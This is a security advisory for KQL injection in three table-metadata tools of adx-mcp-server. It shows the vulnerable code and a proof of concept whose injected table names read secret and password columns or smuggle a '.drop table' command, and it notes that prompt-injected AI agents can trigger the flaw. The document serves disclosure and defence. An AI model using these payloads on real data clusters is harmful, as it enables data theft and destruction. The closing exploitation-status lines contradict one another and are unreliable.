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GHSA-vphc-468g-8rfp
No affected components available
Summary
adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.
Details
The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:
Vulnerable code (permalink):
@mcp.tool(...)
async def get_table_schema(table_name: str) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f"{table_name} | getschema" # <-- KQL injection
result_set = client.execute(config.database, query)
@mcp.tool(...)
async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f"{table_name} | sample {sample_size}" # <-- KQL injection
result_set = client.execute(config.database, query)
@mcp.tool(...)
async def get_table_details(table_name: str) -> List[Dict[str, Any]]:
client = get_kusto_client()
query = f".show table {table_name} details" # <-- KQL injection
result_set = client.execute(config.database, query)
KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject:
sensitive_table | project Secret, Password | take 100 //to read arbitrary tables- Newline-separated management commands like
.drop table important_dataviaget_table_details - Arbitrary KQL analytics queries via any of the three tools
Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.
PoC
# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f"{table_name} | getschema"
import json
# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
"name": "get_table_schema",
"arguments": {
"table_name": "sensitive_data | project Secret, Password | take 100 //"
}
}
print(json.dumps(tool_call, indent=2))
# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead
# Destructive example via get_table_details:
tool_call_destructive = {
"name": "get_table_details",
"arguments": {
"table_name": "users details\n.drop table critical_data"
}
}
# Resulting KQL:
# .show table users details
# .drop table critical_data details
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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